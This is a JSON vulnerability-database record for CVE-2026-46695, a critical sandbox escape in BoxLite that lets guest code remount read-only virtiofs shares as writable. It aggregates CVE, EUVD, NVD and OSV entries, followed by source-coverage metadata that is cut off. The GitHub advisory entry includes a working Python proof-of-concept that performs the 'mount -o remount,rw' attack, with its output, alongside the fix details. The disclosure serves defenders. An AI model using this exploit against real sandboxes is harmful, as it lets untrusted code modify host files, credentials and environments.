{"id":"PYSEC-2026-299","revision":null,"records":[{"revision":"da29161d0f1f4795aa17b733a1b53457","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46695","aliases":[],"title":"BoxLite: Permission Bypass in boxlite Allows Modification of Read-Only Files","description":"Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. Prior to version 0.9.0, Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only. This issue has been patched in version 0.9.0.","state":0,"publishedAt":"2026-06-10T22:20:44.589+00:00","modifiedAt":"2026-06-11T12:38:03.146+00:00","affected":[{"ecosystem":"Vendor product","name":"boxlite","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"boxlite-ai\",\n                    \"product\": \"boxlite\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.9.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":10,"severity":"CRITICAL"}],"references":["https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3","https://github.com/boxlite-ai/boxlite/pull/454","https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46695","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46695","identifiers":["CVE-2026-46695"]},"retained":false,"historicalAffected":[]},{"revision":"29e66f6d1a0448809087f42b2c1e4927","observedAt":"2026-11-09T11:12:50.827+00:00","statement":{"source":"euvd","id":"EUVD-2026-36166","aliases":["CVE-2026-46695","GHSA-g6ww-w5j2-r7x3"],"title":"Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. Prior to version 0.9.0, Boxlite does not restrict the kernel capabilities available i…","description":"Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. Prior to version 0.9.0, Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only. This issue has been patched in version 0.9.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":10,"severity":null}],"references":["https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3","https://github.com/boxlite-ai/boxlite/pull/454","https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36166","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 10, 2026, 10:20:44 PM","dateUpdated":"Jun 11, 2026, 12:38:03 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36166","identifiers":["EUVD-2026-36166","CVE-2026-46695","GHSA-g6ww-w5j2-r7x3"]},"retained":false,"historicalAffected":[]},{"revision":"7adec45f97144e5ca6f68c744ad752fb","observedAt":"2026-10-25T12:17:20.277+00:00","statement":{"source":"nvd","id":"CVE-2026-46695","aliases":[],"title":"Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. Prior to version 0.9.0, Boxlite does not restrict the kernel capabilities available i…","description":"Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. Prior to version 0.9.0, Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only. This issue has been patched in version 0.9.0.","state":0,"publishedAt":"2026-06-10T23:16:47.747+00:00","modifiedAt":"2026-07-23T09:10:00.113+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":10,"severity":"CRITICAL"}],"references":["https://github.com/boxlite-ai/boxlite/pull/454","https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0","https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46695","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-284"],"productCriteria":[],"sourceDates":{"published":"2026-06-10T23:16:47.747","lastModified":"2026-07-23T09:10:00.113"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46695","identifiers":["CVE-2026-46695"]},"retained":false,"historicalAffected":[]},{"revision":"fef47134aa6d4c7c9876676fa500ab13","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-g6ww-w5j2-r7x3","aliases":["CVE-2026-46695","GO-2026-5392","PYSEC-2026-299","RUSTSEC-2026-0147"],"title":"BoxLite: Permission Bypass Allows Modification of Read-Only Files","description":"#### Summary\n\nBoxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code.\n\nOne of the core security features claimed by Boxlite is the ability to mount host directories in read-only mode (read_only=True) into the VM via the virtiofs protocol (a host-guest shared filesystem protocol designed specifically for virtual machines), so that untrusted code can only read but not modify host data. Since the underlying function of the lightweight VM library libkrun used by Boxlite does not support mounting in read-only mode, Boxlite chooses to implement read-only by adding the MS_RDONLY flag when mounting the directory after the VM starts.\n\nHowever, because Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only.\n\nIn typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.\n\n\n\n#### Details\n\n1. User-Facing API Documents Read-Only Guarantee\n\n**File:** `boxlite/src/runtime/options.rs` **Function:** `VolumeSpec` (line 223) **Code:**\n\n```rust\n/// Filesystem mount specification.\npub struct VolumeSpec {\n    pub host_path: String,\n    pub guest_path: String,\n    pub read_only: bool,  // <-- operator sets this to restrict guest write access\n}\n```\n\n**Issue:** The `read_only` field is documented (and in user-facing guides) as preventing the guest from writing to the host directory. The guarantee is \"Agent can read but not write.\" This expectation is not met.\n\n2. read_only Stored in FsShare — Passed to krun Without Enforcement\n\n**File:** `boxlite/src/vmm/krun/engine.rs` **Function:** `Krun::create()` (line 334) **Code:**\n\n```rust\nfor share in config.fs_shares.shares() {\n    let path_str = share.host_path.to_str().ok_or_else(|| { ... })?;\n\n    tracing::info!(\n        \"  {} → {} ({})\",\n        share.tag,\n        share.host_path.display(),\n        if share.read_only { \"ro\" } else { \"rw\" }  // Logged but NOT passed to krun\n    );\n    ctx.add_virtiofs(&share.tag, path_str)?;  // <-- read_only silently dropped\n}\n```\n\n**Issue:** `share.read_only` is logged as \"ro\" or \"rw\" but is never passed to `add_virtiofs`. The actual hypervisor call receives only tag and host path.\n\n3. Hypervisor FFI Has No Read-Only Parameter\n\n**File:** `boxlite/src/vmm/krun/context.rs` **Function:** `add_virtiofs()` (line 423) **Code:**\n\n```rust\npub unsafe fn add_virtiofs(&self, mount_tag: &str, host_path: &str) -> BoxliteResult<()> {\n    let host_path_c = CString::new(host_path)\n        .map_err(|e| BoxliteError::Engine(format!(\"invalid host path: {e}\")))?;\n    let mount_tag_c = CString::new(mount_tag)\n        .map_err(|e| BoxliteError::Engine(format!(\"invalid mount tag: {e}\")))?;\n\n    check_status(\"krun_add_virtiofs\", unsafe {\n        krun_add_virtiofs(self.ctx_id, mount_tag_c.as_ptr(), host_path_c.as_ptr())\n        // No read_only parameter — libkrun exposes the share as read-write to the guest\n    })\n}\n```\n\n**Issue:** `krun_add_virtiofs` in the FFI (`deps/libkrun-sys/src/lib.rs:35`) takes only `ctx_id`, `mount_tag`, and `host_path`. There is no read-only flag. Libkrun exposes the virtiofs share to the guest with full read-write access at the device level.\n\n4. Read-Only Enforcement Is Delegated to Guest Agent (Zone 0)\n\n**File:** `boxlite/src/volumes/guest_volume.rs` **Function:** `build_guest_mounts()` (line 184) **Code:**\n\n```rust\nfor entry in &self.fs_shares {\n    let mount_point = entry.guest_path.as_deref().unwrap_or(\"\");\n    volumes.push(VolumeConfig::virtiofs(\n        &entry.tag,\n        mount_point,\n        entry.read_only,       // <-- sent to guest agent as instruction\n        entry.container_id.clone(),\n    ));\n}\n```\n\n**Issue:** The `read_only` flag is sent to the guest agent via gRPC as a mount instruction. The guest agent is expected to pass `-o ro` to the mount syscall. But the guest runs Zone 0 code — untrusted, assumed malicious. A compromised or malicious guest simply ignores this instruction.\n\n5. FFI Declaration Confirms No Read-Only Variant Exists\n\n**File:** `boxlite/deps/libkrun-sys/src/lib.rs` **Function:** `krun_add_virtiofs` extern declaration (line 35) **Code:**\n\n```rust\nextern \"C\" {\n    pub fn krun_add_virtiofs(\n        ctx_id: u32,\n        mount_tag: *const c_char,\n        host_path: *const c_char,\n    ) -> i32;\n    // No krun_add_virtiofs_ro or equivalent declared\n}\n```\n\n**Issue:** There is no alternative read-only virtiofs FFI function declared. The entire codebase has no `krun_add_virtiofs_ro` or read-only parameter variant. Enforcement at the hypervisor level does not exist.\n\n6. OCI Spec Builder Grants All Capabilities\n\n **File:** `guest/src/container/capabilities.rs` **Function:** `all_capabilities()` (line 19) **Code:**\n\n ```rust\n pub fn all_capabilities() -> HashSet<Capability> {\n     [\n         // ...\n         Capability::SysModule,    // 16: load/unload kernel modules\n         Capability::SysRawio,     // 17: perform I/O port operations\n         Capability::SysAdmin,     // 21: various admin operations\n         Capability::NetAdmin,     // 12: network administration\n         Capability::NetRaw,       // 13: use RAW/PACKET sockets\n         Capability::MacOverride,  // 32: override MAC\n         Capability::Bpf,          // 39: BPF operations\n         // ... all 41 capabilities\n     ]\n     .into_iter()\n     .collect()\n }\n ```\n\n**Issue:** Returns all 41 capabilities including the most dangerous ones, like `Capability::SysAdmin`. The function comment itself says \"maximum compatibility but reduced security isolation.\"\n\n\n\n#### PoC\n\n1. Install Boxlite following the official tutorial.\n\n2. Run the following Python script:\n\n   ```python\n   import asyncio\n   import os\n   import tempfile\n   import sys\n   from boxlite import Boxlite, BoxOptions\n   \n   \n   async def run(box, cmd):\n       \"\"\"Run shell command via native box.exec API.\"\"\"\n       execution = await box.exec(\"sh\", [\"-c\", cmd], None)\n       stdout_stream = execution.stdout()\n       stderr_stream = execution.stderr()\n   \n       stdout_lines, stderr_lines = [], []\n   \n       async def read_stdout():\n           async for line in stdout_stream:\n               stdout_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))\n   \n       async def read_stderr():\n           async for line in stderr_stream:\n               stderr_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))\n   \n       await asyncio.gather(read_stdout(), read_stderr())\n       result = await execution.wait()\n   \n       return {\n           'exit_code': result.exit_code,\n           'stdout': ''.join(stdout_lines),\n           'stderr': ''.join(stderr_lines),\n       }\n   \n   async def main():\n       # Step 1: Set up host directory with a read-only file\n       host_dir = tempfile.mkdtemp(prefix=\"virtiofs_ro_poc_\")\n       ro_file = os.path.join(host_dir, \"read_only.txt\")\n   \n       with open(ro_file, \"w\") as f:\n           f.write(\"original content\\n\")\n   \n       print(f\"[+] Step 1: Host directory created: {host_dir}\")\n       print(f\"    read_only.txt: {open(ro_file).read().strip()}\")\n       print()\n   \n       guest_mount = \"/mnt/sensitive\"\n       print(f\"[+] Step 2: Launching BoxLite VM with:\")\n       print(f\"    volumes=[('{host_dir}', '{guest_mount}', True)]  # read_only=True\")\n       print()\n   \n       try:\n           runtime = Boxlite.default()\n           opts = BoxOptions(\n               image=\"alpine:latest\",\n               volumes=[(host_dir, guest_mount, True)],  # <-- read_only=True\n               memory_mib=512,\n               cpus=1,\n               auto_remove=True,\n           )\n   \n           box = await runtime.create(opts)\n           async with box:\n               print(\"[+] Step 3: VM booted. Checking virtiofs mount state...\")\n               r = await run(box, f\"cat /proc/mounts | grep sensitive\")\n               print(f\"    /proc/mounts: {r['stdout'].strip()}\")\n               print()\n   \n               print(\"[+] Step 4: Testing write protection (initial state)...\")\n               r2 = await run(box, f\"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?\")\n               out = r2['stdout'].strip()\n               print(f\"    Write attempt: {out}\")\n               if \"Read-only\" in out or \"read-only\" in out:\n                   print(f\"    [OK] Initially blocked - client-side MS_RDONLY is active\")\n               print()\n   \n               print(\"[!!!] Step 5: ATTACK - Bypassing read-only via remount...\")\n               r3 = await run(box, f\"mount -o remount,rw {guest_mount} 2>&1; echo remount_exit:$?\")\n               print(f\"    Remount result: {r3['stdout'].strip()}\")\n               r4 = await run(box, f\"cat /proc/mounts | grep sensitive\")\n               print(f\"    Mount flags after: {r4['stdout'].strip()}\")\n               print()\n   \n               print(\"[!!!] Step 6: Writing to 'read-only' mount after bypass...\")\n               r5 = await run(box, f\"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?\")\n               print(f\"    Write result: {r5['stdout'].strip()}\")\n               r6 = await run(box, f\"cat {guest_mount}/read_only.txt\")\n               print(f\"    File content inside guest: {r6['stdout'].strip()}\")\n               print()\n   \n           print(\"[+] Step 7: HOST VERIFICATION\")\n           content = open(ro_file).read().strip()\n           print(f\"    read_only.txt on host: {content}\")\n           print()\n   \n           print(\"FINAL RESULT:\")\n           print()\n           if content == \"modified content\":\n               print(\"  [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE\")\n           else:\n               print(\"  [?] Bypass did not produce host-side writes.\")\n   \n       except Exception as e:\n           print(f\"[-] Error: {e}\")\n           import traceback\n           traceback.print_exc()\n       finally:\n           import shutil\n           try:\n               shutil.rmtree(host_dir)\n               print(f\"\\n[+] Cleanup: removed {host_dir}\")\n           except:\n               pass\n   \n   asyncio.run(main())\n   ```\n\n   This script mounts a directory in read-only mode into the sandbox and attempts to exploit the vulnerability to modify a file in that directory. Expected output:\n\n   ```\n   $ python poc.py\n   [+] Step 1: Host directory created: /tmp/virtiofs_ro_poc_93fdis21\n       read_only.txt: original content\n   \n   [+] Step 2: Launching BoxLite VM with:\n       volumes=[('/tmp/virtiofs_ro_poc_93fdis21', '/mnt/sensitive', True)]  # read_only=True\n   \n   [+] Step 3: VM booted. Checking virtiofs mount state...\n       /proc/mounts: uservol0 /mnt/sensitive virtiofs ro,relatime 0 0\n   \n   [+] Step 4: Testing write protection (initial state)...\n       Write attempt: write_exit:1\n   \n   [!!!] Step 5: ATTACK - Bypassing read-only via remount...\n       Remount result: remount_exit:0\n       Mount flags after: uservol0 /mnt/sensitive virtiofs rw,relatime 0 0\n   \n   [!!!] Step 6: Writing to 'read-only' mount after bypass...\n       Write result: write_exit:0\n       File content inside guest: modified content\n   \n   [+] Step 7: HOST VERIFICATION\n       read_only.txt on host: modified content\n   \n   FINAL RESULT:\n   \n     [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE\n   \n   [+] Cleanup: removed /tmp/virtiofs_ro_poc_93fdis21\n   ```\n\n   \n\n\n\n#### Impact\n\nMalicious code can perform arbitrary write operations on directories that should be read-only.\n\nIn typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.\n\n\n\n#### Score\n\nSeverity: Critical, Score: 10.0, rationale as follows: \n\n- **AV:N** — Malicious code can be transmitted through networks, such as code written by large language models.\n- **AC:L** — No special conditions or race conditions are required. The attacker simply executes a `mount -o remount,rw` command inside the container. `CAP_SYS_ADMIN` is granted by default, and the attack is deterministic and trivially reproducible.\n- **PR:N** — The attacker needs the ability to execute arbitrary code inside the Boxlite sandbox, which is the fundamental use case of Boxlite (running untrusted code). \n- **UI:N** — No user interaction is required. Malicious code inside the container can autonomously exploit this vulnerability without any action from the host operator.\n- **S:C** — The vulnerability allows the attacker to cross the sandbox trust boundary and impact the host system. The vulnerable component is the Boxlite sandbox isolation mechanism, but the impacted component is the host filesystem.\n- **C:H** — With write access to host directories, the attacker can plant malicious code that will be executed by the host, leading to full compromise of sensitive host data including credentials, API keys, user code, and configuration files mounted into the container.\n- **I:H** — The attacker gains full write access to host directories explicitly intended to be read-only, allowing arbitrary modification of host files including planting backdoors, modifying virtual environments for supply chain attacks, and altering credentials and configuration files.\n- **A:N** — The vulnerability primarily enables unauthorized write access. The host system and Boxlite service continue to function; no distinct availability impact mechanism exists beyond secondary consequences of write access.\n\n\n\n#### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.\n\n\n\n#### Note\n\nNote that we follow the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that we reserve the right to disclose the details of the vulnerability 30 days after the fix has been implemented.\n\n#### Resolution\n\nFixed in **v0.9.0** by PR #454 (commit `2c26968e`), released 2026-04-29, with defense-in-depth across three layers:\n\n1. **Hypervisor-level read-only enforcement.** virtio-fs shares are now created via `krun_add_virtiofs3` (libkrun v1.18.0) with the `read_only` flag passed through, so the share is read-only at the virtio-fs device — before any request reaches the guest kernel. A malicious guest `mount -o remount,rw` can no longer reach host data even if it regained `CAP_SYS_ADMIN`.\n2. **Capability restriction.** Containers now receive the 14 Docker-default capabilities, explicitly excluding `CAP_SYS_ADMIN` (and `CAP_NET_ADMIN`, `CAP_SYS_MODULE`, `CAP_SYS_RAWIO`, `CAP_MAC_OVERRIDE`), so the remount in the PoC fails with `EPERM`.\n3. **TSI network isolation.** When the network is disabled, the implicit vsock is replaced with an explicit vsock with no TSI features, closing a related guest→host socket-forwarding path.\n\nRegression coverage: `src/boxlite/tests/security_enforcement.rs` (Rust core) and `sdks/python/tests/test_readonly_volume_remount.py` (Python SDK) both replay the PoC remount attack and assert it fails.\n\n**Remediation:** upgrade to boxlite **0.9.0 or later** (all SDKs: PyPI `boxlite`, npm `@boxlite-ai/boxlite`, Go module `github.com/boxlite-ai/boxlite/sdks/go`, crates.io `boxlite` / `boxlite-cli`). There is no workaround for affected versions; upgrade is required.","state":0,"publishedAt":"2026-05-21T21:52:51+00:00","modifiedAt":"2026-09-10T03:50:46.9707214+00:00","affected":[{"ecosystem":"PyPI","name":"boxlite","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":["0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.9","0.6.0","0.7.0","0.7.4","0.7.5","0.8.2"],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@boxlite-ai/boxlite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/boxlite-ai/boxlite/sdks/go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"boxlite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"boxlite-cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3","https://nvd.nist.gov/vuln/detail/CVE-2026-46695","https://github.com/boxlite-ai/boxlite/pull/454","https://github.com/boxlite-ai/boxlite","https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0","https://rustsec.org/advisories/RUSTSEC-2026-0147.html"],"sourceUrl":"https://github.com/advisories/GHSA-g6ww-w5j2-r7x3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g6ww-w5j2-r7x3","identifiers":["GHSA-g6ww-w5j2-r7x3","CVE-2026-46695","GO-2026-5392","PYSEC-2026-299","RUSTSEC-2026-0147"]},"retained":false,"historicalAffected":[]},{"revision":"def0524f9a49406e83aa1907bb32a463","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5392","aliases":["CVE-2026-46695","GHSA-g6ww-w5j2-r7x3","PYSEC-2026-299","RUSTSEC-2026-0147"],"title":"BoxLite: Permission Bypass Allows Modification of Read-Only Files in github.com/boxlite-ai/boxlite/sdks/go","description":"BoxLite: Permission Bypass Allows Modification of Read-Only Files in github.com/boxlite-ai/boxlite/sdks/go","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-29T12:26:07.6729532+00:00","affected":[{"ecosystem":"Go","name":"github.com/boxlite-ai/boxlite/sdks/go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3","https://nvd.nist.gov/vuln/detail/CVE-2026-46695","https://github.com/boxlite-ai/boxlite/pull/454","https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0","https://rustsec.org/advisories/RUSTSEC-2026-0147.html"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5392","license":"OSV · upstream source license applies","key":"osv:GO-2026-5392","identifiers":["GO-2026-5392","CVE-2026-46695","GHSA-g6ww-w5j2-r7x3","PYSEC-2026-299","RUSTSEC-2026-0147"]},"retained":false,"historicalAffected":[]},{"revision":"b970452cc3f747c7b9b55b3aa841d24c","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2026-0147","aliases":["CVE-2026-46695","GHSA-g6ww-w5j2-r7x3","GO-2026-5392","PYSEC-2026-299"],"title":"Read-only volume remount bypass via guest CAP_SYS_ADMIN","description":"Affected versions of `boxlite` mount host directories shared via virtiofs\nas guest-side read-only by setting `MS_RDONLY` from the guest. Because the\ndefault guest capability set included `CAP_SYS_ADMIN`, untrusted code\nrunning inside a sandbox could execute `mount -o remount,rw <path>` to\nre-flag the share as read-write and then write through to the host\nfilesystem — fully escaping the read-only contract `boxlite` advertised\nto callers.\n\nThe fix in v0.9.0 enforces read-only at the hypervisor level via\n`krun_add_virtiofs3` (so the guest's `MS_RDONLY` is no longer the\nauthoritative gate) and drops `CAP_SYS_ADMIN` from the default guest\ncapability set (matching Docker's defaults).\n\nThis is a sandbox-escape bug: `boxlite` is a sandboxing runtime, so the\nread-only invariant is part of its security contract. CVSS rated 10.0 by\nthe upstream advisory.","state":0,"publishedAt":"2026-05-16T12:00:00+00:00","modifiedAt":"2026-10-12T18:00:13.0614739+00:00","affected":[{"ecosystem":"crates.io","name":"boxlite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null}],"references":["https://crates.io/crates/boxlite","https://rustsec.org/advisories/RUSTSEC-2026-0147.html","https://github.com/boxlite-ai/boxlite/pull/454"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2026-0147","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2026-0147","identifiers":["RUSTSEC-2026-0147","CVE-2026-46695","GHSA-g6ww-w5j2-r7x3","GO-2026-5392","PYSEC-2026-299"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4268898+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4268987+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-8bdcdeeb414e06ff50ed637d818ac25d52680d19f71fc0ebe3f4c4b3f836ed38","complete":true,"records":421927,"lastAttemptAt":"2026-11-10T10:21:22.8157744+00:00","lastSuccessAt":"2026-11-10T09:21:38.1064889+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8157744+00:00","snapshotPublishedAt":"2026-11-10T09:20:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T10:21:50.2500014+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4276529+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4276532+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b0b0499af228434598651aa5d221386e","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T10:21:49.6403901+00:00","lastSuccessAt":"2026-11-10T10:21:49.637+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T10:21:49.637+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T10:21:23.1241572+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1241572+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T10:21:22.8858542+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8858542+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 